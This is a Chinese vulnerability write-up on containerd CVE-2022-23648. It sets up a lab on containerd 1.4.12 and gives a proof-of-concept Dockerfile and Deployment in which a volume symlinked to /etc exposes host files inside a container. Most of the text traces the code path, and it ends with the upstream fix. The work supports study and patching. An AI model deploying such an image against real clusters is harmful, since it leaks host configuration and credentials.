containerd CVE-2022-23648 分析与复现

cat <<EOF | sudo tee /etc/modules-load.d/containerd.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

# 设置必需的 sysctl 参数，这些参数在重新启动后仍然存在。
cat <<EOF | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.ipv4.ip_forward                 = 1
net.bridge.bridge-nf-call-ip6tables = 1
EOF

# 应用 sysctl 参数而无需重新启动
sudo sysctl --system

apt-get update
apt-get install ca-certificates curl gnupg lsb-release
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt-get update

# apt-cache madison containerd.io
containerd.io |   1.4.13-1 | https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
containerd.io |   1.4.12-1 | https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
...

apt-get install -y containerd.io=1.4.12-1

sudo mkdir -p /etc/containerd
containerd config default | sudo tee /etc/containerd/config.toml
sed -i '/\[plugins\."io\.containerd\.grpc\.v1\.cri"\.containerd\.runtimes\.runc\.options\]/a SystemdCgroup = true' /etc/containerd/config.toml
sudo systemctl restart containerd

# containerd --version
containerd containerd.io 1.4.12 7b11cfaabd73bb80907dd23182b9347b4245eb5d
# kubectl get pods -A
NAMESPACE          NAME                                       READY   STATUS    RESTARTS   AGE
calico-apiserver   calico-apiserver-68b5698d78-6qlg2          1/1     Running   0          3m18s
calico-apiserver   calico-apiserver-68b5698d78-wggpj          1/1     Running   0          3m18s
calico-system      calico-kube-controllers-67f85d7449-jv9b2   1/1     Running   0          5m49s
calico-system      calico-node-jfd9t                          1/1     Running   0          5m49s
calico-system      calico-typha-5ff69d8599-pqj9j              1/1     Running   0          5m49s
kube-system        coredns-64897985d-fkn8c                    1/1     Running   0          6m56s
kube-system        coredns-64897985d-vq8tb                    1/1     Running   0          6m56s
kube-system        etcd-cve2022-23684                         1/1     Running   0          7m3s
kube-system        kube-apiserver-cve2022-23684               1/1     Running   0          7m3s
kube-system        kube-controller-manager-cve2022-23684      1/1     Running   0          7m3s
kube-system        kube-proxy-4bctr                           1/1     Running   0          6m56s
kube-system        kube-scheduler-cve2022-23684               1/1     Running   0          7m3s
tigera-operator    tigera-operator-b876f5799-vlxq7            1/1     Running   0          6m56s

FROM busybox
RUN ln -s /etc /volume
VOLUME /volume

apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-deployment
spec:
  selector:
    matchLabels:
      app: demo
  replicas: 1
  template:
    metadata:
      labels:
        app: demo
    spec:
      containers:
      - name: demo
        image: ssst0n3/cve-2022-23648:etc
        tty: true
        imagePullPolicy: Always

func WithVolumes(volumeMounts map[string]string) containerd.NewContainerOpts {
    return func(ctx context.Context, client *containerd.Client, c *containers.Container) (err error) {
        ...
        for host, volume := range volumeMounts {
            // The volume may have been defined with a C: prefix, which we can't use here.
            volume = strings.TrimPrefix(volume, "C:")
            for _, mountPath := range mountPaths {
                src := filepath.Join(mountPath, volume)
                if _, err := os.Stat(src); err != nil {
                    if os.IsNotExist(err) {
                        // Skip copying directory if it does not exist.
                        continue
                    }
                    return fmt.Errorf("stat volume in rootfs: %w", err)
                }
                if err := copyExistingContents(src, host); err != nil {
                    return fmt.Errorf("taking runtime copy of volume: %w", err)
                }
            }
        }
        return nil
    }
}

func (c *criService) CreateContainer(ctx context.Context, r *runtime.CreateContainerRequest) (_ *runtime.CreateContainerResponse, retErr error) {
    ...
    var volumeMounts []*runtime.Mount
    if !c.config.IgnoreImageDefinedVolumes {
        // Create container image volumes mounts.
        volumeMounts = c.volumeMounts(containerRootDir, config.GetMounts(), &image.ImageSpec.Config)
    }
    ...
    if len(volumeMounts) > 0 {
        mountMap := make(map[string]string)
        for _, v := range volumeMounts {
            mountMap[filepath.Clean(v.HostPath)] = v.ContainerPath
        }
        opts = append(opts, customopts.WithVolumes(mountMap))
    }
    ...
    if cntr, err = c.client.NewContainer(ctx, id, opts...); err != nil {
        return nil, fmt.Errorf("failed to create containerd container: %w", err)
    }
    ...
}

func init() {
    ...
    plugin.Register(&plugin.Registration{
        Type:   plugin.GRPCPlugin,
        ID:     "cri",
        ...
        InitFn: initCRIService,
    })
}

func initCRIService(ic *plugin.InitContext) (interface{}, error) {
    ...
    s, err := server.NewCRIService(c, client)
    ...
    return s, nil
}

func New(ctx context.Context, config *srvconfig.Config) (*Server, error) {
    ...
    for _, service := range grpcServices {
        if err := service.Register(grpcServer); err != nil {
            return nil, err
        }
    }
    ...
}

func (c *criService) Register(s *grpc.Server) error {
    return c.register(s)
}

func (c *criService) register(s *grpc.Server) error {
    instrumented := newInstrumentedService(c)
    runtime.RegisterRuntimeServiceServer(s, instrumented)
    runtime.RegisterImageServiceServer(s, instrumented)
    instrumentedAlpha := newInstrumentedAlphaService(c)
    runtime_alpha.RegisterRuntimeServiceServer(s, instrumentedAlpha)
    runtime_alpha.RegisterImageServiceServer(s, instrumentedAlpha)
    return nil
}

func RegisterRuntimeServiceServer(s *grpc.Server, srv RuntimeServiceServer) {
    s.RegisterService(&_RuntimeService_serviceDesc, srv)
}

var _RuntimeService_serviceDesc = grpc.ServiceDesc{
    ServiceName: "runtime.v1.RuntimeService",
    HandlerType: (*RuntimeServiceServer)(nil),
    Methods: []grpc.MethodDesc{
        ...
        {
            MethodName: "CreateContainer",
            Handler:    _RuntimeService_CreateContainer_Handler,
        },
        ...
    },
    ...
}

func _RuntimeService_CreateContainer_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
    in := new(CreateContainerRequest)
    if err := dec(in); err != nil {
        return nil, err
    }
    if interceptor == nil {
        return srv.(RuntimeServiceServer).CreateContainer(ctx, in)
    }
    info := &grpc.UnaryServerInfo{
        Server:     srv,
        FullMethod: "/runtime.v1.RuntimeService/CreateContainer",
    }
    handler := func(ctx context.Context, req interface{}) (interface{}, error) {
        return srv.(RuntimeServiceServer).CreateContainer(ctx, req.(*CreateContainerRequest))
    }
    return interceptor(ctx, in, info, handler)
}

func (in *instrumentedService) CreateContainer(ctx context.Context, r *runtime.CreateContainerRequest) (res *runtime.CreateContainerResponse, err error) {
    if err := in.checkInitialized(); err != nil {
        return nil, err
    }
    log.G(ctx).Infof("CreateContainer within sandbox %q for container %+v",
        r.GetPodSandboxId(), r.GetConfig().GetMetadata())
    defer func() {
        if err != nil {
            log.G(ctx).WithError(err).Errorf("CreateContainer within sandbox %q for %+v failed",
                r.GetPodSandboxId(), r.GetConfig().GetMetadata())
        } else {
            log.G(ctx).Infof("CreateContainer within sandbox %q for %+v returns container id %q",
                r.GetPodSandboxId(), r.GetConfig().GetMetadata(), res.GetContainerId())
        }
    }()
    res, err = in.c.CreateContainer(ctrdutil.WithNamespace(ctx), r)
    return res, errdefs.ToGRPC(err)
}

func (c *criService) register(s *grpc.Server) error {
    instrumented := newInstrumentedService(c)
    ...
}

func NewMainKubelet(...) (*Kubelet, error) {
    ...
    klet.podWorkers = newPodWorkers(
        klet.syncPod,
        ...
    )
    runtime, err := kuberuntime.NewKubeGenericRuntimeManager(...)
    ...
    klet.containerRuntime = runtime
    ...
}

func (kl *Kubelet) syncPod(ctx context.Context, updateType kubetypes.SyncPodType, pod, mirrorPod *v1.Pod, podStatus *kubecontainer.PodStatus) error {
    ...
    result := kl.containerRuntime.SyncPod(pod, podStatus, pullSecrets, kl.backOff)
    ...
}

func (m *kubeGenericRuntimeManager) SyncPod(pod *v1.Pod, podStatus *kubecontainer.PodStatus, pullSecrets []v1.Secret, backOff *flowcontrol.Backoff) (result kubecontainer.PodSyncResult) {
    ...
    podSandboxID, msg, err = m.createPodSandbox(pod, podContainerChanges.Attempt)
    ...
}

func (m *kubeGenericRuntimeManager) createPodSandbox(pod *v1.Pod, attempt uint32) (string, string, error) {
    podSandboxConfig, err := m.generatePodSandboxConfig(pod, attempt)
    ...
    runtimeHandler := ""
    if m.runtimeClassManager != nil {
        runtimeHandler, err = m.runtimeClassManager.LookupRuntimeHandler(pod.Spec.RuntimeClassName)
        ...
    }
    
    podSandBoxID, err := m.runtimeService.RunPodSandbox(podSandboxConfig, runtimeHandler)
    ...
}

func (in instrumentedRuntimeService) RunPodSandbox(config *runtimeapi.PodSandboxConfig, runtimeHandler string) (string, error) {
    ...
    out, err := in.service.RunPodSandbox(config, runtimeHandler)
    ...
}

func (r *remoteRuntimeService) RunPodSandbox(config *runtimeapi.PodSandboxConfig, runtimeHandler string) (string, error) {
    ...
    if r.useV1API() {
        resp, err := r.runtimeClient.RunPodSandbox(ctx, &runtimeapi.RunPodSandboxRequest{
            Config:         config,
            RuntimeHandler: runtimeHandler,
        })
        ...
    } else {
        resp, err := r.runtimeClientV1alpha2.RunPodSandbox(ctx, &runtimeapiV1alpha2.RunPodSandboxRequest{
            Config:         v1alpha2PodSandboxConfig(config),
            RuntimeHandler: runtimeHandler,
        })
        ...
    }
    ...
}

func (c *runtimeServiceClient) RunPodSandbox(ctx context.Context, in *RunPodSandboxRequest, opts ...grpc.CallOption) (*RunPodSandboxResponse, error) {
    ...
    err := c.cc.Invoke(ctx, "/runtime.v1.RuntimeService/RunPodSandbox", in, out, opts...)
    ...
}

func (c *runtimeServiceClient) RunPodSandbox(ctx context.Context, in *RunPodSandboxRequest, opts ...grpc.CallOption) (*RunPodSandboxResponse, error) {
    ...
    err := c.cc.Invoke(ctx, "/runtime.v1alpha2.RuntimeService/RunPodSandbox", in, out, opts...)
    ...
}

func (s *DockerServer) Start() error {
    ...
    runtimeapi.RegisterRuntimeServiceServer(s.server, s.service)
    ...
    return nil
}

func RegisterRuntimeServiceServer(s *grpc.Server, srv RuntimeServiceServer) {
    s.RegisterService(&_RuntimeService_serviceDesc, srv)
}

var _RuntimeService_serviceDesc = grpc.ServiceDesc{
    ServiceName: "runtime.v1alpha2.RuntimeService",
    ...
    Methods: []grpc.MethodDesc{
        ...
        {
            MethodName: "RunPodSandbox",
            Handler:    _RuntimeService_RunPodSandbox_Handler,
        },
    },
	...
}

func (ds *dockerService) RunPodSandbox(ctx context.Context, r *runtimeapi.RunPodSandboxRequest) (*runtimeapi.RunPodSandboxResponse, error) {
    ...
    createResp, err := ds.client.CreateContainer(*createConfig)
    ...
}

func (d *kubeDockerClient) CreateContainer(opts dockertypes.ContainerCreateConfig) (*dockercontainer.ContainerCreateCreatedBody, error) {
	...
	createResp, err := d.client.ContainerCreate(ctx, opts.Config, opts.HostConfig, opts.NetworkingConfig, nil, opts.Name)
	...
}

func (cli *Client) ContainerCreate(ctx context.Context, config *container.Config, hostConfig *container.HostConfig, networkingConfig *network.NetworkingConfig, platform *specs.Platform, containerName string) (container.ContainerCreateCreatedBody, error) {
    ...
}

func (container *Container) CopyImagePathContent(v volume.Volume, destination string) error {
    rootfs, err := container.GetResourcePath(destination)
    if err != nil {
        return err
    }
    ...
    id := stringid.GenerateRandomID()
    path, err := v.Mount(id)
    if err != nil {
        return err
    }

    defer func() {
        if err := v.Unmount(id); err != nil {
            logrus.Warnf("error while unmounting volume %s: %v", v.Name(), err)
        }
    }()
    ...
    return copyExistingContents(rootfs, path)
}

var createCommand = cli.Command{
    ...
    Action: func(context *cli.Context) error {
        ...
        _, err = run.NewContainer(ctx, client, context)
        ...
    },
}

func NewContainer(ctx gocontext.Context, client *containerd.Client, context *cli.Context) (containerd.Container, error) {
    ...
    return client.NewContainer(ctx, id, cOpts...)
}

func (c *Client) NewContainer(ctx context.Context, id string, opts ...NewContainerOpts) (Container, error) {
    ...
    r, err := c.ContainerService().Create(ctx, container)
    ...
}

func (r *remoteContainers) Create(ctx context.Context, container containers.Container) (containers.Container, error) {
    created, err := r.client.Create(ctx, &containersapi.CreateContainerRequest{
        Container: containerToProto(&container),
    })
    ...
}

func (c *containersClient) Create(ctx context.Context, in *CreateContainerRequest, opts ...grpc.CallOption) (*CreateContainerResponse, error) {
    out := new(CreateContainerResponse)
    err := c.cc.Invoke(ctx, "/containerd.services.containers.v1.Containers/Create", in, out, opts...)
    if err != nil {
        return nil, err
    }
    return out, nil
}

    for _, mountPath := range mountPaths {
-       src := filepath.Join(mountPath, volume)
+       src, err := fs.RootPath(mountPath, volume)
+       if err != nil {
+           return fmt.Errorf("rootpath on mountPath %s, volume %s: %w", mountPath, volume, err)
+       }
        if _, err := os.Stat(src); err != nil {
            if os.IsNotExist(err) {
                // Skip copying directory if it does not exist.

// RootPath joins a path with a root, evaluating and bounding any
// symlink to the root directory.
func RootPath(root, path string) (string, error) {
    if path == "" {
        return root, nil
    }
    var linksWalked int // to protect against cycles
    for {
        i := linksWalked
        newpath, err := walkLinks(root, path, &linksWalked)
        if err != nil {
            return "", err
        }
        path = newpath
        if i == linksWalked {
            newpath = filepath.Join("/", newpath)
            if path == newpath {
                return filepath.Join(root, newpath), nil
            }
            path = newpath
        }
    }
}